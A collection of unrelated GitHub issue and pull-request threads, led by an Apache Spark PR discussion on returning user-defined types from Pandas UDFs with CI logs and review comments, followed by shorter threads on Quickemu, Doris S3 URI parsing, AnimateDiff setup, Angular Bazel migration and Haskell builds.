[WIP][SPARK-34600][Pyspark][SQL] Return User-defined types from Pandas UDF

What changes were proposed in this pull request?

This PR allows to return User-defined types (UDT) from PandasUDF.
@pandas_udf(StructType([StructField("vec", ArrayType(VectorUDT()))]))
def array_of_udt_structs(series: pd.Series) -> pd.DataFrame:
      vectors = []
      for _, i in series.items():
          vectors.append({"vec": [DenseVector([i]), DenseVector([i * 2])]})
      return pd.DataFrame(vectors)

# Or

@pandas_udf(ArrayType(VectorUDT()))
def array_of_vectors(series: pd.Series) -> pd.Series:
    vectors = []
    for _, i in series.items():
        vectors.append([DenseVector([i]), DenseVector([i * 2])])
    return pd.Series(vectors)

This PR converts UDT into its corresponding UDT.sqlType / StructType before sending the results from PySpark worker to JVM.  In JVM , it relaxes the requirements for schema checking, so that Spark sql would consider UDT is compatible to its sqlType type.
Why are the changes needed?

We have use cases that builds UDT to present semantic meanings of results. We use pandas UDF because certain computation (i.e., model inference) requiring expensive initialization, which makes Iterator based PandasUDF a desired implementation:
@pandas_udf(ArrayType(BoundingBox())
def object_detection(batches: Iterator[pd.Series]) -> pd.Series:
     model = load_model()  // Expensive
     for batch in batches:
          ...

Does this PR introduce any user-facing change?

User can start to specify UDT in pandas_udf's returnType
How was this patch tested?

This patch includes 3 tests returning UDT in different forms

ok to test

Can one of the admins verify this patch?

jenkins retest this please

Test build #135744 has started for PR 31735 at commit cd23b1e.

Test build #135740 has started for PR 31735 at commit cd23b1e.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40326/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40326/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40326/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40323/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40323/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40323/

Test build #135744 has finished for PR 31735 at commit cd23b1e.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135744/

Test build #135740 has finished for PR 31735 at commit cd23b1e.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135740/

@HyukjinKwon would you mind to take a look?

@eddyxu Could you please check the failed test?
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/135740/consoleText:
Starting test(pypy3): pyspark.sql.tests.test_pandas_udf_scalar
Traceback (most recent call last):
  File "/usr/lib/pypy3.6-7.2.0-linux_x86_64-portable/lib-python/3/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/pypy3.6-7.2.0-linux_x86_64-portable/lib-python/3/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/home/jenkins/workspace/SparkPullRequestBuilder/python/pyspark/sql/tests/test_pandas_udf_scalar.py", line 29, in <module>
    from pyspark.ml.linalg import DenseVector, VectorUDT
  File "/home/jenkins/workspace/SparkPullRequestBuilder/python/pyspark/ml/__init__.py", line 22, in <module>
    from pyspark.ml.base import Estimator, Model, Predictor, PredictionModel, \
  File "/home/jenkins/workspace/SparkPullRequestBuilder/python/pyspark/ml/base.py", line 25, in <module>
    from pyspark.ml.param.shared import HasInputCol, HasOutputCol, HasLabelCol, HasFeaturesCol, \
  File "/home/jenkins/workspace/SparkPullRequestBuilder/python/pyspark/ml/param/__init__.py", line 21, in <module>
    import numpy as np
ModuleNotFoundError: No module named 'numpy'

Had test failures in pyspark.sql.tests.test_pandas_udf_scalar with pypy3; see logs.
[error] running /home/jenkins/workspace/SparkPullRequestBuilder/python/run-tests --modules=pyspark-sql,pyspark-mllib,pyspark-ml --parallelism=8 ; received return code 255

@attilapiros Thanks for point this out.  Looking.

Test build #135773 has started for PR 31735 at commit 3c2c6d2.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40355/

Test build #135775 has started for PR 31735 at commit 5b07fdd.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40357/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40355/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40357/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40355/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40357/

Test build #135773 has finished for PR 31735 at commit 3c2c6d2.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135773/

@eddyxu, how does it work with regular Python UDF? Looks like the performance here will be very bad. Can you do a quick benchmark?
cc @BryanCutler and @ueshin too FYI

Thanks for the reviews, @HyukjinKwon.

For a regular Python UDF, not the arrow-based pandas UDF,  this code path is not used.  The UDT to StructType conversion only happens in ArrowStreamPandasUDFSerializer.
For a pandas UDF with regular spark types,  this is guarded by a "has_udt" flag . This flag is initialized once during ArrowStreamPandasUDFSerializer creation.

Performance wise , i will do some benchmarks and look into a way to erase UDT without much type dispatching.

Test build #135775 has finished for PR 31735 at commit 5b07fdd.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135775/

I am sorry I wasn't clear. I meant to compare how it works in regular Python UDF and the pandas UDFs. I would be great if we can use a similar approach for both. Furthermore, we will probably have to do it for toPandas and createDataFrame with Arrow optimization on. It should be best to think about these cases as well.

BTW, thanks for working on this :-) @eddyxu.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135879/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40462/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40462/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40462/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135895/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40480/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40480/

Okay, thanks for clarification.

cc @ueshin and @BryanCutler too.

Thanks @HyukjinKwon !

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/135979/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40563/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40563/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40563/

Test build #136372 has started for PR 31735 at commit 2e52297.

Test build #136372 has finished for PR 31735 at commit 2e52297.

This patch fails Python style tests.
This patch merges cleanly.
This patch adds no public classes.

Thanks @sadhen helping to move this PR forward!

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40956/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40956/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40956/

@eddyxu I wrote a UDT with Timestamp, but failed to make it work.
For ExampleBox, serialize to list works fine. But for ExamplePointWithTimeUDT, to make pa.StructArray.from_pandas work, we need to serialize it to dict. For the following snippets, the python part works fine. But I failed to deserialize the ExamplePointWithTime properly in the Scala part.
class ExamplePointWithTimeUDT(UserDefinedType):
    """
    User-defined type (UDT) for ExamplePointWithTime.
    """

    @classmethod
    def sqlType(self):
        return StructType([
            StructField("x", DoubleType(), False),
            StructField("y", DoubleType(), True),
            StructField("ts", TimestampType(), False),
        ])

    @classmethod
    def module(cls):
        return 'pyspark.sql.tests'

    @classmethod
    def scalaUDT(cls):
        return 'org.apache.spark.sql.test.ExamplePointWithTimeUDT'

    def serialize(self, obj):
        return {'x': obj.x, 'y': obj.y, 'ts': obj.ts}

    def deserialize(self, datum):
        return ExamplePointWithTime(datum['x'], datum['y'], datum['ts'])

class ExamplePointWithTime:
    """
    An example class to demonstrate UDT in Scala, Java, and Python.
    """

    __UDT__ = ExamplePointWithTimeUDT()

    def __init__(self, x, y, ts):
        self.x = x
        self.y = y
        self.ts = ts

    def __repr__(self):
        return "ExamplePointWithTime(%s,%s,%s)" % (self.x, self.y, self.ts)

    def __str__(self):
        return "(%s,%s,%s)" % (self.x, self.y, self.ts)

    def __eq__(self, other):
        return isinstance(other, self.__class__) \
            and other.x == self.x and other.y == self.y \
            and other.ts == self.ts

package org.apache.spark.sql.test

import java.sql.Timestamp

import org.apache.spark.sql.catalyst.InternalRow
import org.apache.spark.sql.catalyst.util.ArrayBasedMapData
import org.apache.spark.sql.types.{DataType, DoubleType, SQLUserDefinedType, StructField, StructType, TimestampType, UserDefinedType}

/**
 * An example class to demonstrate UDT in Scala, Java, and Python.
 * @param x x coordinate
 * @param y y coordinate
 * @param ts timestamp
 */
@SQLUserDefinedType(udt = classOf[ExamplePointUDT])
private[sql] class ExamplePointWithTime(val x: Double, val y: Double, val ts: Timestamp)
  extends Serializable {

  override def hashCode(): Int = {
    var hash = 13
    hash = hash * 31 + x.hashCode()
    hash = hash * 31 + y.hashCode()
    hash = hash * 31 + ts.hashCode()
    hash
  }

  override def equals(other: Any): Boolean = other match {
    case that: ExamplePointWithTime =>
      this.x == that.x && this.y == that.y && this.ts == that.ts
    case _ => false
  }

  override def toString(): String = s"($x, $y, ${ts.toString})"
}

/**
 * User-defined type for [[ExamplePoint]].
 */
private[sql] class ExamplePointWithTimeUDT extends UserDefinedType[ExamplePointWithTime] {

  override def sqlType: DataType = StructType(Array(
    StructField("x", DoubleType, nullable = false),
    StructField("y", DoubleType, nullable = true),
    StructField("ts", TimestampType, nullable = false)
  ))

  override def pyUDT: String = "pyspark.testing.sqlutils.ExamplePointWithTimeUDT"

  override def serialize(p: ExamplePointWithTime): ArrayBasedMapData = {
    ArrayBasedMapData(
      Array("x", "y", "ts"),
      Array(p.x, p.y, p.ts)
    )
  }

  override def deserialize(datum: Any): ExamplePointWithTime = {
    datum match {
      case row: InternalRow =>
        new ExamplePointWithTime(
          row.getDouble(0),
          row.getDouble(1),
          row.get(2, TimestampType)      // .asInstanceOf[Timestamp]   it is Long, cannot be casted to Timestamp
        )
    }
  }

  override def userClass: Class[ExamplePointWithTime] = classOf[ExamplePointWithTime]

  private[spark] override def asNullable: ExamplePointWithTimeUDT = this
}

Test build #136390 has started for PR 31735 at commit ddda826.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136390/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40974/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40974/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40974/

Test build #136412 has started for PR 31735 at commit 1e7452d.

Could you take another round of code review?  @HyukjinKwon @maropu @ueshin
Github Action are queueing and waiting, I will improve this PR based on your review together with the known-nit I reviewed by myself.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40995/

@maropu What's your opinion? I do not want to make this PR too complicated and hard to review.

sgtm. I think it is better to make the PR simpler, so how about focusing on supporting a simple case (@pandas_udf(UDT)) first ? The improvement to support more types (arrays of UDT, ....) can be done in follow-up PRs, I think.

@HyukjinKwon:
Furthermore, we will probably have to do it for toPandas and createDataFrame with Arrow optimization on. It should be best to think about these cases as well.
toPandas and createDataFrame is supported in the latest commits. See https://github.com/apache/spark/pull/31735/commits/dca35dfa07449d76c5e940683c846cda984787f6

Just learned about the SPIP vote by you: http://apache-spark-developers-list.1001551.n3.nabble.com/VOTE-SPIP-Support-pandas-API-layer-on-PySpark-td30996.html
I wonder if there are any overlap for this PR and the SPIP. I'm new to PySpark. My previous experience/contribution of Apache Spark mainly focused on Yarn/SQL. If there are any overlap or conflicts, could give any feedback.

@maropu
I think it is better to make the PR simpler, so how about focusing on supporting a simple case (@pandas_udf(UDT)) first ? The improvement to support more types (arrays of UDT, ....) can be done in follow-up PRs, I think.

Thanks for your reply and suggestion. Supporting @pandas_udf(UDF) first seems to be a good way to split this PR. For this PR, I think the most complicated part lies in python/pyspark/sql/pandas/serializers.py. The currently implementation with Spark DataType and Arrow DataType mixed decreases the code readibility. For this PR, if CI passed,  https://github.com/apache/spark/pull/31735/commits/dca35dfa07449d76c5e940683c846cda984787f6 would be the last commit.
And I will try to submit a good and small/minimum first splitted PR for you to review with a better and cleaner implemenation of python/pyspark/sql/pandas/seriealizer.py.
Here is my plan:

SPARK-34711: Support UDT for Pandas/Spark conversion with Arrow support Enabled
: Return User-defined types from Pandas UDF case 1: @pandas_udf(UDT)

Test build #136757 has started for PR 31735 at commit dca35df.

Test build #136757 has finished for PR 31735 at commit dca35df.

This patch fails Python style tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136757/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/41340/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/41340/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/41340/

Hello, this looks like very good work. I'm having some trouble reading the code -- is there a possibility that these UDTs could leverage https://pandas.pydata.org/pandas-docs/stable/development/extending.html#extension-types when they're in Pandas/Python to skip a costly conversion to Object that currently happens?


feat: add table view for list cmd

effects:
./bin/gtctl cluster list
NAME	NAMESPACE	CREATION DATE
test	default  	2023-08-25 14:55:07 +0800 CST

for now, it has no implementation for bare-metal (list cmd seems a little unnecessary for bare-metal)
Closes #126

Codecov Report

Merging #142 (bd49a55) into develop (17e4e6d) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff            @@
##           develop     #142   +/-   ##
========================================
  Coverage    31.82%   31.82%
========================================
  Files            9        9
  Lines         1279     1279
========================================
  Hits           407      407
  Misses         778      778
  Partials        94       94


Update Composer dependencies (2023-03-26-00-09)

Visual regression test passed!
View the visual regression test report


Don't check if node is online if order is CANCELED

Dont check anymore if

[ ] zero-node order is canceled
[ ] odoo invoice is deleted

Need to check with Sabrina if she accidentally pressed 'mark as send' on 15 node orders for orders that don't have a serial number yet on odoo


Options Can Disappear from the List Entirely

Some sequences can lead to items disappearing from the list of options.  The following steps will reproduce:
Click Select All
Click Select All
Click an option to deselect it
That option is now nowhere to be found.
A working example of the bug is here:
https://jsfiddle.net/justinlinz/8dkg87bL/
The issue is due to a reference of the item list being modified.  I will add a pull request to remedy this.

Good catch. Thanks!

Fixed in 1.1.7 and published to NPM

Thanks for the quick merge!


Config Server Should be more flexible with reading service bindings

See if Config Server client can use Connectors logic (like find by label or tag, etc) to avoid adding any more keys to the list to search like in #446

Maybe this could use the ConnectionStringConfigurationProvider with additional service info for locating config server bindings?


Windows 11 download does not work

Expected behaviour
When I run quickget windows 11 I expect the script to set up a Windows 11 vm
Actual behaviour
It produces the following output:
╭─kekkon@tuxgamer in ~/Documents/vms took 1s
[🔴] × quickget windows 11
Getting Windows 11 URL...
SSL_INIT
SSL_INIT
SSL_INIT
SSL_INIT
SSL_INIT
Downloading Windows 11 [22000.318]...
SSL_INIT
SSL_INIT
ERROR! Failed to download https://tb.rg-adguard.net/dl.php?go=55a5f243. Try running 'quickget' again.

             IN      A

;; ANSWER SECTION:
tb.rg-adguard.net.      300     IN      A       <IP_ADDRESS>

;; Query time: 24 msec
;; SERVER: <IP_ADDRESS>#53(<IP_ADDRESS>)
;; WHEN: Wed Nov 17 17:59:29 CET 2021
;; MSG SIZE  rcvd: 62

Steps to reproduce the behaviour
Run quickget windows 11
Quickemu output
Run quickemu or quickget and paste the output here.
See Actual Behaviour
Linux Distribution & Kernel
Run the following and paste the output.
lsb_release --all
uname -a

╭─kekkon@tuxgamer in ~/Documents/vms took 295ms
╰─λ lsb_release --all
LSB Version:    1.4
Distributor ID: Garuda
Description:    Garuda Linux
Release:        Soaring
Codename:       Harpy-Eagle

╭─kekkon@tuxgamer in ~/Documents/vms took 4ms
╰─λ uname -a
Linux tuxgamer 5.15.2-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 12 Nov 2021 19:22:07 +0000 x86_64 GNU/Linux

Thanks : see #239 which will be
fixed by #241

Fixed via #241


Enhancement Rewrite S3URI to remove tricky virtual bucket mechanism and support different uri styles by flags.

Proposed changes
Issue:
Many domestic cloud vendors are compatible with the s3 protocol. However, early versions of s3 client will only generate path style http requests (https://github.com/aws/aws-sdk-java-v2/pull/763) when encountering endpoints that do not start with s3, while some cloud vendors only support virtual host style http request.
Therefore, Doris used forceVirtualHosted in S3URI to convert it into a virtual hosted path and implemented it through path style.
For example:
For s3 uri s3://my-bucket/data/file.txt, It will eventually be parsed into:

virtualBucket: my-bucket
Bucket: data (bucket must be set, otherwise the s3 client will report an error) Especially this step is particularly tricky because of the limitations of the s3 client.
Key: file.txt

The path style mode is used to generate an http request similar to the virtual host by setting the endpoint to virtualBucket + original endpoint, setting the bucket and key.
However, the bucket and key here are inconsistent with the original concepts of s3, but the aws client happens to be able to generate an http request similar to the virtual host through the path style mode.
However, after #30799 we have upgrade the aws sdk version from 2.17.257 to 2.20.131. The current aws s3 client can already generate a virtual host by third party by default style of http request. So in #31111 need to set the path style option, let the s3 client use doris' virtual bucket mechanism to continue working.
Finally, the virtual bucket mechanism is too confusing and tricky, and we no longer need it with the new version of s3 client.
Resolution:
Rewrite S3URI to remove tricky virtual bucket mechanism and support different uri styles by flags.
This class represents a fully qualified location in S3 for input/output operations expressed as as URI.
For AWS S3, URI common styles:

AWS Client Style(Hadoop S3 Style): s3://my-bucket/path/to/file?versionId=abc123&partNumber=77&partNumber=88
Virtual Host Style: https://my-bucket.s3.us-west-1.amazonaws.com/resources/doc.txt?versionId=abc123&partNumber=77&partNumber=88
Path Style: https://s3.us-west-1.amazonaws.com/my-bucket/resources/doc.txt?versionId=abc123&partNumber=77&partNumber=88

Regarding the above-mentioned common styles, we can use isPathStyle to control whether to use path style
or virtual host style.
"Virtual host style" is the currently mainstream and recommended approach to use, so the default value of
isPathStyle is false.
Other Styles:

Virtual Host AWS Client (Hadoop S3) Mixed Style:
s3://my-bucket.s3.us-west-1.amazonaws.com/resources/doc.txt?versionId=abc123&partNumber=77&partNumber=88
Path AWS Client (Hadoop S3) Mixed Style:
s3://s3.us-west-1.amazonaws.com/my-bucket/resources/doc.txt?versionId=abc123&partNumber=77&partNumber=88

For these two styles, we can use isPathStyle and forceParsingByStandardUri
to control whether to use.
Virtual Host AWS Client (Hadoop S3) Mixed Style: isPathStyle = false && forceParsingByStandardUri = true
Path AWS Client (Hadoop S3) Mixed Style: isPathStyle = true && forceParsingByStandardUri = true
When the incoming location is url encoded, the encoded string will be returned.
For getKey(), getQueryParams() will return the encoding string
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

buildall

run buildall

run buildall

run buildall

run buildall


Update import statements in examples, doctests

Update the import statements in the example code and doctests to edition 2018, including removing extern crate and  #[macro_use]. Also, alphabetize and group the statements where applicable. Not sure which code style is preferred, either grouping import statements:
use tantivy::{doc, Index, ReloadPolicy};

or keeping them separate:
use tantivy::doc;
use tantivy::Index;
use tantivy::ReloadPolicy;

I saw both styles used in the code, so I just went with one for consistency.
Fixes https://github.com/tantivy-search/tantivy/issues/623.

Awesome!


Update README.md

Add some installation instructions and badges

Thanks for the suggestions:

Removed the msrv badge because that suggests a commitment I'm not ready to uphold.
Removed the license badge because github already shows this information on right sidebar.
Removed the dependencies badge because that either requires churn to maintain or puts the project in a negative light whenever dependencies aren't up-to-date.
Regarding the installation instructions, I agree with the sentiment that they should be on the front README and I tried to move the sub-readmes to the front page, but then I remembered why that doesn't work: crates.io needs a readme and so I'd have to give each project the same readme that contains info for every command (maybe this is actually a good idea?). I don't want duplicated instructions, so I removed the top-level ones which is a bit of a bummer. If only github had includes.


Can any of you share a screenshot of your configuration?

Hello to you all
can you give me a screenshot of your config inside the "webUI" that was made by the animatediff team?
(In particular what path value did you insert here : "Model checkpoints (select pretrained model path first)." ??)
I would also like to see what did you put inside the models folder, here is what I have:

And whenever I go the UI and try to select a value for the models path I get an error:

Thanks

Hello to you all can you give me a screenshot of your config inside the "webUI" that was made by the animatediff team? (In particular what path value did you insert here : "Model checkpoints (select pretrained model path first)." ??)
I would also like to see what did you put inside the models folder, here is what I have:
And whenever I go the UI and try to select a value for the models path I get an error:
Thanks

4 Fn hours later and I figured the ish out.  (Thank you ChatGPT, Thank you). The missing instructions:

Take everything you have in the "StableDiffusion" directory and copy/paste it in a subdirectory called "stable-diffusion-v1-5." Like: "AnimateDiff\models\StableDiffusion\stable-diffusion-v1-5<All the contents in the image you shared>"

After this place the models you plan on using for generation within the "AnimateDiff\models\DreamBooth_LoRA" directory. For example,  "AnimateDiff\models\DreamBooth_LoRA\toonyou_beta5Unstable.safetensors".

pip install imageio[ffmpeg]

pip install accelerate to speed up the loading of model (Dont know if this is necessary).

(Also don't know if this is necessary but windows was throwing some warnings in virus and threat protection without this step being done): In app.py, change demo.launch(share=True) to demo.launch(share=False) at the very bottom of the file:

if name == "main":
demo = ui()
demo.launch(share=False)
That's where I'm at so far. Generations are working fully.

Thanks very much, I will try it. Question: are the results better than when using it with the extension of the webUI? Maybe you can try the prompt I Shared here: https://github.com/continue-revolution/sd-webui-animatediff/issues/58#issuecomment-1674086550 and see. (Thanks)

Thank you so much for this, I've been going for about a week at trying to make this work now (never had this much trouble with a repo before), and it looks like this will be it! <3

Thanks very much, I will try it. Question: are the results better than when using it with the extension of the webUI? Maybe you can try the prompt I Shared here: continue-revolution/sd-webui-animatediff#58 (comment) and see. (Thanks)

@StableInfo The quality is actually noticeably different. It is most definitely better (at the time of testing) than the WebUI and ComfyUI implementations. I believe it has to do with the way that noise is generated. It falls short due to a lack of a proper interface for allowing for testing and what not. As it stands, there is a lot of work being done to try and resolve this difference in the WebUI and ComfyUI but a part of me thinks we may need to just advance this project itself. Still in its infant stages though so I could be seriously wrong.

@C0nsumption for the life of me, I followed your instructions and couldn't get past the "Please select a pretrained model path" error message.  Any other tips?


Bazel installation in existing project failed.

🐞 Bug report
Command (mark with an x)

- [ ] new
- [ ] build
- [ ] serve
- [ ] test
- [ ] e2e
- [ ] generate
- [ ] add
- [x] update
- [ ] lint
- [ ] xi18n
- [ ] run
- [ ] config
- [ ] help
- [ ] version
- [ ] doc

Is this a regression?
Don't know.
Description
Attempt to migrate an existing project to Bazel fails during the migration.
Per the documentation here:
https://next.angular.io/guide/bazel
ng add @angular/bazel
🔬 Minimal Reproduction

Running ng add @angular/bazel
Or npm i
after bazel was added to the package list in the existing project.
🔥 Exception or Error

> ngc -p ./angular-metadata.tsconfig.json

node_modules/@angular/cdk/schematics/utils/html-head-element.d.ts(9,10): error TS2305: Module '"../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.
node_modules/@angular/cdk/schematics/utils/parse5-element.d.ts(8,10): error TS2305: Module '"../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.
node_modules/@angular/cdk/schematics/ng-update/html-parsing/elements.d.ts(8,10): error TS2305: Module '"../../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.
node_modules/@angular/cdk/typings/schematics/utils/html-head-element.d.ts(9,10): error TS2305: Module '"../../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.
node_modules/@angular/cdk/typings/schematics/utils/parse5-element.d.ts(8,10): error TS2305: Module '"../../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.
node_modules/@angular/cdk/typings/schematics/ng-update/html-parsing/elements.d.ts(8,10): error TS2305: Module '"../../../../../../../../../../../edited_out_dir_name/node_modules/parse5/lib"' has no exported member 'DefaultTreeElement'.

npm ERR! code ELIFECYCLE
npm ERR! errno 1

🌍 Your Environment

Angular CLI: 8.1.0-beta.2
Node: 12.3.1
OS: win32 x64
Angular: 8.1.0-next.3
... animations, bazel, common, compiler, compiler-cli, core
... forms, language-service, platform-browser
... platform-browser-dynamic, router

Package                            Version
------------------------------------------------------------
@angular-devkit/architect          0.801.0-beta.2
@angular-devkit/build-angular      0.801.0-beta.2
@angular-devkit/build-optimizer    0.801.0-beta.2
@angular-devkit/build-webpack      0.801.0-beta.2
@angular-devkit/core               8.1.0-beta.2
@angular-devkit/schematics         8.0.3
@angular/cdk                       8.0.1
@angular/cli                       8.1.0-beta.2
@angular/http                      7.2.15
@angular/material                  8.0.1
@angular/material-moment-adapter   8.0.1
@bazel/bazel                       0.26.1
@bazel/ibazel                      0.10.3
@bazel/karma                       0.31.1
@bazel/typescript                  0.32.2
@ngtools/webpack                   8.1.0-beta.2
@schematics/angular                8.0.3
@schematics/update                 0.801.0-beta.2
rxjs                               6.5.2
typescript                         3.4.5
webpack                            4.34.0

Anything else relevant?
Seems like a schematics issue, but other schematics seem to work fine.

Adding parse5 as a dependency to the project worked as a workaround

Also to revert back from Bazel, renaming back the angular.json is not enough.
There are also two files to delete:
main.dev.ts
main.prod.ts

Otherwise building or serving fails with:
ERROR in src/main.dev.ts(2,34): error TS2307: Cannot find module './app/app.module.ngfactory'.
src/main.prod.ts(3,34): error TS2307: Cannot find module './app/app.module.ngfactory'.


Implement Fields conformance class

Fields is the ability specify only the fields you want in the results.

I think this should be closed now. We can reopen it if it's not.


create documentation

Currently there are some pieces of documentation scattered throughout the code, but we need an overall document explaining what this project is for and showing some examples. This could be as simple as updating the readme.

We need documentation to build and run the solution first and foremost.

Currently my process on a fresh checkout is
stack setup
stack build

But without stack it might be a little more complicated.  Since you aren't familiar with cabal, I'll say that it probably looks something like
cabal sandbox init
cabal install --dependencies-only
cabal build

Stack takes care of the first two steps with its own environment/sandbox/whatever solution.  I'm currently building with GHC 8.

pi@adamclmnspi:~/git/omniscient $ cabal install --dependencies-only
Resolving dependencies...
cabal: Could not resolve dependencies:
trying: omniscient-<IP_ADDRESS> (user goal)
next goal: base (dependency of omniscient-<IP_ADDRESS>)
rejecting: base-<IP_ADDRESS>/installed-96b... (conflict: omniscient => base>=4.7 &&
<5)
rejecting: base-<IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>,
<IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>,
<IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS> (global
constraint requires installed instance)
Dependency tree exhaustively searched.
Note: when using a sandbox, all packages are required to have consistent
dependencies. Try reinstalling/unregistering the offending packages or
recreating the sandbox.
Not sure what that is... i'll dig in later. Seems like the config isn't right.

What's your GHC version?

**
pi@adamclmnspi:~/git/omniscient $ ghc --version
The Glorious Glasgow Haskell Compilation System, version 7.6.3**

Thats the problem, the version of GHC you're using isn't compatible with the version I'm using.  Specifically, you actually have to specify the version of base (the standard library) to use, which is why you got that error about versions of base.  Try to upgrade, 7.6.3 is pretty old at this point.

That's the latest version in repos. Can we not use a stable release?

https://www.haskell.org/ghc/download_ghc_8_0_1
It's been released since March, pretty sure it's stable.  The version I'm using is just the latest LTS version offered from stack.  They do commerical haskell support, so if they consider it stable and put it under long term support I think it's probably safe.  7.6 was released almost 4 years ago, and I definitely want some of the features that come with the newer versions.


Make wallet run on Mary

Issue Number
ADP-623
Overview

[x] Make the wallet run on Mary,
[x] MA Value types are converted to/from TokenBundles.
[x] Roundtrip tests for Value/TokenBundle
[x] Fix disabled era error https://input-output-rnd.slack.com/archives/CFKLUH4R0/p1608146419455500
[x] Test cluster does hard forks at start up - instantly.
[x] Uses latest cardano-node master branch, with input-output-hk/cardano-node#2270 merged.

Comments

I imagine properly thinking about and removing the duplication would be pretty fun. (rvl: we can do that in the next PR)
